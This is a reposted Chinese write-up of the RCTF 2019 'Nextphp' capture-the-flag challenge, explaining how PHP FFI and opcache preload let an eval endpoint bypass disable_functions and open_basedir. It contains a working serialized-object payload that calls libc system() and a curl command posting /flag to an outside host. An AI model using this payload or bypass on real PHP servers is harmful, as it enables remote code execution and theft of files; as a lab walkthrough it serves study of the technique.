我的编程空间,编程开发者的网络收藏夹
学习永远不晚

[RCTF 2019]Nextphp题解

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

[RCTF 2019]Nextphp题解

[RCTF 2019]Nextphp

题目代码很简单,看着很像白给的(最后惨遭打脸),直接执行system函数发现被ban了,遂查看phpinfo。

if (isset($_GET['a'])) {    eval($_GET['a']);} else {    show_source(__FILE__);}

disable_functions内容如下
在这里插入图片描述

执行命令的函数被ban了很多,考虑读文件,发现目录被限制。
Warning: file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/html) in /var/www/html/index.php(3) : eval()'d code on line 1
尝试读取当前目录
var_dump(scandir(“/var/www/html”));
可以得到preload.php,尝试获取该文件的源码。

final class A implements Serializable {    protected $data = [        'ret' => null,        'func' => 'print_r',        'arg' => '1'    ];    private function run () {        $this->data['ret'] = $this->data['func']($this->data['arg']);    }    public function __serialize(): array {        return $this->data;    }    public function __unserialize(array $data) {        array_merge($this->data, $data);        $this->run();    }    public function serialize (): string {        return serialize($this->data);    }    public function unserialize($payload) {        $this->data = unserialize($payload);        $this->run();    }    public function __get ($key) {        return $this->data[$key];    }    public function __set ($key, $value) {        throw new \Exception('No implemented');    }    public function __construct () {        throw new \Exception('No implemented');    }}

得益于开启了preload预加载机制,preload.php中的内容都是全局的,因此index.php不需要include也可以使用。(当然你include也是可以的)
命令执行函数限制+目录限制,可以用FFI进行绕过。对于该机制,后续再进行详细的介绍。
使用的payload如下:

unserialize(base64_decode(%27QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319%27))->__serialize()[%27ret%27]->system(%27curl%20-d%20@/flag%20http://5f23b31a-ca67-481e-92b2-6db76aacaf98.node4.buuoj.cn:81%27);

FFI机制介绍

FFI是PHP7.4开始有的一个新特性,FFI提供了高级语言直接的互相调用,而对于PHP来说,FFI让我们可以方便的调用C语言写的各种库。
在本题中为了绕过PHP本身的disable_function,调用了c语言中的system函数。
调用外部高级语言的库需要提供libc文件,一般是so格式。只有被预加载的文件才能使用FFI拓展,因此直接尝试在普通文件中调用其他语言的函数是不可行的,比如本题目中的index。
对于是否支持FFI,可以查看phpinfo,看有没有FFI support = enabled。
当然,如果FFI直接=true而不是preload,web端,比如index,也可以执行FFI。
使用方法:
我们使用FFI::cdef()函数声明我们要调用的这个库中的函数以及使用到的数据类型。
用法举例:

// create FFI object, loading libc and exporting function printf()$ffi = FFI::cdef(    "int printf(const char *format, ...);", // this is regular C declaration    "libc.so.6");// call C printf()$ffi->printf("Hello %s!\n", "world");

preload机制介绍

opcache.preload是PHP7.4中新加入的功能。如果设置了opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的preload文件加载进内存中,使这些preload文件中的内容对之后的请求均可用。更多细节可以阅读:https://wiki.php.net/rfc/preload。只有被预加载的文件才能使用FFI拓展,但是FFI一般不开启,因为FFI拓展是一个非常危险的拓展。

来源地址:https://blog.csdn.net/blue_lotus_first/article/details/126979523

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

[RCTF 2019]Nextphp题解

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Windows Service 2019使用Docker的问题怎么解决

这篇文章主要介绍“Windows Service 2019使用Docker的问题怎么解决”,在日常操作中,相信很多人在Windows Service 2019使用Docker的问题怎么解决问题上存在疑惑,小编查阅了各式资料,整理出简单好用的
2023-06-30

2019下半年网络工程师真题及答案解析

  2019下半年网络工程师考试已结束,为了帮助参加2019下半年网络工程师考试的考生在考后进行估分,编程学习网小编为大家汇总了2019下半年网络工程师真题及答案解析,供考生们参考。  为了帮助大家在考后进行估分,编程学习网小编为大家汇总了2019下半年软考网络工程师真题,包含上午考试的基础知识与下午考试的应用技术,想知道答案
2019下半年网络工程师真题及答案解析
2024-04-18

2019上半年信息安全工程师真题及答案解析

  2019上半年信息安全工程师考试已结束,不少考生关注2019上半年信息安全工程师真题及答案解析,编程学习网小编为大家整理了2019上半年信息安全工程师考试试题,供大家参考。  2019上半年数据库系统工程师考试已经结束,以下为2019上半年信息安全工程师试题,供大家练习。  2019年信息安全工程师上午基础知识真题及答
2019上半年信息安全工程师真题及答案解析
2024-04-18

2019上半年数据库系统工程师真题及答案解析

  2019上半年数据库系统工程师考试已结束,不少考生关注2019上半年数据库系统工程师真题及答案解析,编程学习网小编为大家整理了2019上半年数据库系统工程师考试试题,供大家参考。  2019上半年数据库系统工程师考试已经结束,以下为2019上半年数据库系统工程师试题,供大家练习。  2019上半年数据库系统工程师上午真
2019上半年数据库系统工程师真题及答案解析
2024-04-18

2019上半年信息系统项目管理师论文真题及解析

  2019上半年信息系统项目管理师考试已经结束,相信很多考生都比较关注论文科目,编程学习网小编将在考后为大家更新2019上半年信息系统项目管理师论文真题及解析,方便考生进行估分。  编程学习网小编为大家整理了2019上半年信息系统项目管理师论文真题,想知道解析的考生可以直接进入在线题库估算自己的考试成绩。  从下列的2道试题
2019上半年信息系统项目管理师论文真题及解析
2024-04-18

2019下半年信息系统项目管理师真题及答案解析

  2019下半年信息系统项目管理师考试已经结束,不少考生关注2019下半年信息系统项目管理师真题及答案解析,编程学习网小编为大家整理了2019下半年信息系统项目管理师考试试题,供大家参考。  2019下半年软考信息系统项目管理师考试已经结束,以下为2019下半年信息系统项目管理师试题,供大家练习。  2019下半年信息系
2019下半年信息系统项目管理师真题及答案解析
2024-04-18

2019下半年系统集成项目管理工程师真题及答案解析

  2019下半年系统集成项目管理工程师考试已结束,不少考生关注2019下半年系统集成项目管理工程师真题及答案解析,编程学习网小编为大家整理了2019下半年系统集成项目管理工程师考试试题,供大家参考。  2019下半年系统集成项目管理工程师考试已经结束,以下为2019下半年系统集成项目管理工程师试题,供大家练习。  201
2019下半年系统集成项目管理工程师真题及答案解析
2024-04-18

2019下半年信息系统项目管理师下午真题及答案解析

  2019下半年信息系统项目管理师考试已经结束,相信很多考生都比较关注信息系统项目管理师下午真题,编程学习网小编将在考后为大家更新2019下半年信息系统项目管理师下午案例分析真题及答案解析,方便考生进行估分。  编程学习网小编为大家整理了2019下半年信息系统项目管理师下午案例分析真题,想知道答案和解析的考生可以直接进入在线
2019下半年信息系统项目管理师下午真题及答案解析
2024-04-18

2019下半年信息系统项目管理师下午论文真题及解析

  2019下半年信息系统项目管理师考试已经结束,相信很多考生都比较关注论文科目,编程学习网小编将在考后为大家更新2019下半年信息系统项目管理师下午论文真题及解析,方便考生进行估分。  编程学习网小编为大家整理了2019下半年信息系统项目管理师下午论文真题,想知道解析的考生可以直接进入在线题库估算自己的考试成绩。  试题一
2019下半年信息系统项目管理师下午论文真题及解析
2024-04-18

2019下半年网络工程师上午基础知识真题及答案解析

      2019下半年网络工程师考试已经结束,编程学习网小编在考后为大家更新2019下半年网络工程师上午基础知识真题及答案解析,方便考生进行估分。      编程学习网小编为为大家整理了2019下半年网络工程师上午真题,想知道答案和解析的考生请进入进入编程学习网在线题
2019下半年网络工程师上午基础知识真题及答案解析
2024-04-18

2019下半年网络工程师下午案例分析真题及答案解析

       2019下半年网络工程师考试已经结束,编程学习网小编在考后为大家更新2019下半年网络工程师下午案例分析真题及答案解析,方便考生进行估分。      编程学习网小编为为大家整理了2019下半年网络工程师下午真题,想知道答案和解析的考生请进入进入
2019下半年网络工程师下午案例分析真题及答案解析
2024-04-18

2019上半年信息安全工程师上午基础知识真题及答案解析

  2019上半年信息安全工程师考试已结束,相信很多考生都想知道自己的考试成绩如何,编程学习网小编将在考后为大家更新2019上半年信息安全工程师上午基础知识真题及答案解析,方便考生进行估分。  编程学习网小编为大家整理了2019上半年信息安全工程师上午基础知识真题,想知道答案和解析的考生可以直接进入在线题库估算自己的考试成绩。
2019上半年信息安全工程师上午基础知识真题及答案解析
2024-04-18

2019上半年信息安全工程师下午应用技术真题及答案解析

  2019上半年信息安全工程师考试已经结束,相信很多考生都比较关注数据库系统工程师下午真题,编程学习网小编在考后为大家更新2019上半年信息安全工程师下午应用技术真题及答案解析,方便考生进行估分。  编程学习网小编为大家整理了2019上半年信息安全工程师下午应用技术真题,想知道答案和解析的考生可以直接进入在线题库估算自己的考
2019上半年信息安全工程师下午应用技术真题及答案解析
2024-04-18

2019上半年数据库系统工程师上午综合知识真题及答案解析

  2019上半年数据库系统工程师考试已结束,相信很多考生都想知道自己的考试成绩如何,编程学习网小编将在考后为大家更新2019上半年数据库系统工程师上午综合知识真题及答案解析,方便考生进行估分。  编程学习网小编为大家整理了2019上半年数据库系统工程师上午综合知识真题,想知道答案和解析的考生可以直接进入在线题库估算自己的考试
2019上半年数据库系统工程师上午综合知识真题及答案解析
2024-04-18

2019上半年数据库系统工程师下午案例分析真题及答案解析

  2019上半年数据库系统工程师考试已经结束,相信很多考生都比较关注数据库系统工程师下午真题,编程学习网小编在考后为大家更新2019上半年数据库系统工程师下午案例分析真题及答案解析,方便考生进行估分。  编程学习网小编为大家整理了2019上半年数据库系统工程师下午案例分析真题,想知道答案和解析的考生可以直接进入在线题库估算自
2019上半年数据库系统工程师下午案例分析真题及答案解析
2024-04-18

2019下半年信息系统项目管理师上午综合知识真题及答案解析

  2019下半年信息系统项目管理师考试已结束,相信很多考生都想知道自己的考试成绩如何,编程学习网小编将在考后为大家更新2019下半年信息系统项目管理师上午综合知识真题及答案解析,方便考生进行估分。  编程学习网小编为大家整理了2019下半年信息系统项目管理师上午考试综合知识真题,想知道答案和解析的考生可以直接进入在线题库估算
2019下半年信息系统项目管理师上午综合知识真题及答案解析
2024-04-18

2019下半年系统集成项目管理工程师上午基础知识真题及答案解析

      2019下半年系统集成项目管理工程师考试已结束,编程学习网小编在考后为大家更新2019下半年系统集成项目管理工程师上午基础知识真题及答案解析,方便考生进行估分。      编程学习网小编为为大家整理了2019下半年系统集成项目管理工程师上午真题,想知道答案
2019下半年系统集成项目管理工程师上午基础知识真题及答案解析
2024-04-18

2019下半年系统集成项目管理工程师下午案例分析真题及答案解析

      2019下半年系统集成项目管理工程师考试已结束,编程学习网小编在考后为大家更新2019下半年系统集成项目管理工程师下午案例分析真题及答案解析,方便考生进行估分。      编程学习网小编为为大家整理了2019下半年系统集成项目管理工程师下午真题,想知道答案
2019下半年系统集成项目管理工程师下午案例分析真题及答案解析
2024-04-18

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录